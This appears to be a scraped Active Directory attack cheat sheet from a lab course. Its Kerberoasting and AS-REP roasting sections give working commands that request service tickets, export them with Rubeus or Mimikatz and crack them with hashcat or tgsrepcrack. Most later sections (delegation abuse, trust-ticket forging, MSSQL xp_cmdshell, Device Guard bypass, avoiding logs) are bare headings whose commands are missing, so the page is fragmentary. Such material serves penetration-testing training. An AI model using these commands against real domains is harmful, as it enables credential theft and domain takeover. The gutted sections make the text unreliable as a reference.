Escalation
Kerberoasting
Finding Service Accounts
Get-NetUser –SPNGet-ADUser -Filter {ServicePrincipalName -ne "$null"} Properties ServicePrincipalNameRequest TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" Request-SPNTicket Exporting / Cracking
# Roast
Rubeus.exe kerberoast /simple /nowrap [/user:USER] [/domain:DOMAIN] [/dc:DC]
# Crack
hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force# Check they have been granted:
klist
# Export using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Crack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\240a10000-student.kirbi AS-REP Roasting
Finding Accounts with Kerberos pre-auth disabled
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuthForce Disable kerberos preauth
ASREPRoast
SetSPN - Targeted Kerberoasting
Enumeration
Setting SPN (must be unique for domain)
Unconstrained Delegation
Enumeration
Compromise server then wait, or use printer bug with Rubeus Listening
Export tickets and steal DA
Constrained Delegation
Enumeration
Getting Ticket
Resource Based Constrained Delegation
Enumeration
Adding New Computer Object
Set RBCD on target
Control Target
LAPS Abuse
Enumeration
Abuse
Just Enough Administration (JEA) Abuse
Enumeration
Abuse
PowerShell Web Access (PSWA) Abuse
Enumeration
Abuse
Configure for Persistance
Windows Subsystem Linux (WSL) Abuse
Enumeration
Abuse
Windows Device Guard Bypass
Enumeration
Bypass
DNSAdmins
Enumeration
Abuse
Microsoft Exchange Abuse
Enumeration
Abuse
Cross-Domain Trust Tickets
Get Trust Key
Forging Inter-Realm TGT
Get TGS for Service in target domain (CIFS below, but could be LDAP, HOST and HTTP) using trust ticket
Use TGS to access service in target (may need to use twice)
Cross-Domain using krbtgt Hash
Create Ticket Abusing SID History
Use Ticket
Avoiding suspicious logs
Cross-Forest Trust Tickets
Get Trust Key
Creating inter-forest TGT
Using inter-forest ticket to request TGS
Use TGS
MSSQL Trust Abuse
Finding MSSQL Instances
Enumerating Database Links
Enabling xp_cmdshell if rpcout is enabled (disabled by default)
Executing Commands
PAM Trust
Enumeration
Abuse
Last updated